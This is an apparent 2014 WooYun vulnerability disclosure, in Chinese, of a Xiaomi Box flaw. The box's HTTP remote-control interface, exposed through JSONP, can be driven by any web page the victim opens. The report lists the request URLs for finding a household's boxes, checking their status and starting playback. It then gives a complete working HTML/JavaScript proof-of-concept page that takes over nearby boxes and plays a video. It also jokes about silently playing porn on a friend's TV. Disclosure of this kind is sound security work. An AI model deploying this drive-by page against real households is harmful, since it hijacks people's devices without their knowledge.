漏洞详情

披露状态:

2014-02-14: 细节已通知厂商并且等待厂商处理中
2014-02-24: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-12: 细节向公众公开

简要描述:

小米盒子设计缺陷,导致可被攻击控制

详细说明:

小米盒子可使用http方式进行远程遥控,接口设计缺陷导致可轻易被攻击。

比如给朋友发个网址,如果他用家里任意电脑或手机啥的打开了,可让他家电视上自动开始播放毛片,神不知鬼不觉。

漏洞证明:

利用步骤,以播放视频为例:

1、通过http://pds.duokanbox.com/peer/fetchbyipopen/?mac_address=1&callback=wooyun 接口可获得当前用户的小米盒子列表,和http远程控制ip及端口

2、访问http://ip:port/request?action=isAlive&callback=wooyun 获取盒子状态

3、访问http://ip:port/video/action=play&clientname=PC&url=视频地址&name=test&callback=wooyun,提交播放请求



同时可发现http://ip:port/controller 接口也可访问,能更多控制。



演示:http://yekai.me/mitv/。



<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>你有小米盒子么?</title>
</head>
<body>
<p id="tips" style="display:none">友情提示:播放过程中请不要刷新该页面,会有bug导致电视可能坏掉!</p>
<ul id="playing">
</ul>
<script type="text/javascript">
(function(){
var testVideo = 'http://pl.youku.com/playlist/m3u8?ts=1392311744&keyframe=0&vid=XNjYxNjI1ODQ4&type=hd2';
var randomStr = function(length){
var ret = [];
length = length || 10;
while(length--){
ret.push(String.fromCharCode(97 + Math.floor(Math.random()*25)));
}
return ret.join('');
};
var jsonp = function(url, cb){
var s = document.createElement('script');
if(url.search('%cb%') !== -1 && cb){
var fcName = randomStr();
window[fcName] = cb;
url = url.replace('%cb%', fcName);
}
s.src = url;
document.head.appendChild(s);
};
var $playlist = document.getElementById('playing'),
tips = false;
var playingTmpl = function(data){
if(!tips){
document.getElementById('tips').style.display = 'block';
tips = true;
}
var html = '<li>' + data.devicename + ' : <button data-tv="' + data.ip + '">stop</button></li>';
$playlist.innerHTML += html;
};
var MI = {
getTvs : function(cb){
jsonp('http://pds.duokanbox.com/peer/fetchbyipopen/?mac_address=1&callback=%cb%', function(data){
if(data && data.status === 0){
cb && cb(data.data);
}
});
},
isActive : function(tv, cb){
jsonp('http://' + tv + '/request?action=isAlive&callback=%cb%', function(data){
if(data && data.status === 0){
cb && cb(data.data);
}
});
},
play : function(tv, video, name, cb){
jsonp('http://' + tv + '/video/action=play&clientname=PC&url=' + encodeURIComponent(video) + '&name=' + encodeURIComponent(name) + '&callback=%cb%',
function(data){
cb && cb(!data.status);
});
},
stop : function(tv, cb){
jsonp('http://' + tv + '/controller?action=keyEvent&keyCode=back&callback=%cb%', function(data){
cb && cb(!data.status);
});
}
};
MI.getTvs(function(tvs){
tvs.forEach(function(tv){
MI.isActive(tv, function(tvData){
if(tvData){
MI.play(tvData.ip, testVideo, '随便一个名字', function(success){
success && playingTmpl(tvData);
});
}
});
});
});
document.addEventListener('click', function(e){
var target = e.target;
if(target.tagName.toLowerCase() === 'button'){
var tv = target.dataset.tv;
MI.stop(tv, function(status){
if(status){
target.parentNode.parentNode.removeChild(target.parentNode);
}
});
}
});
})();
</script>
</body>
</html>

修复方案:

不使用jsonp可跨站获取数据接口可避免部分问题

版权声明:转载请注明来源 marvin@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-24 10:22

厂商回复:

最新状态:

暂无


漏洞评价: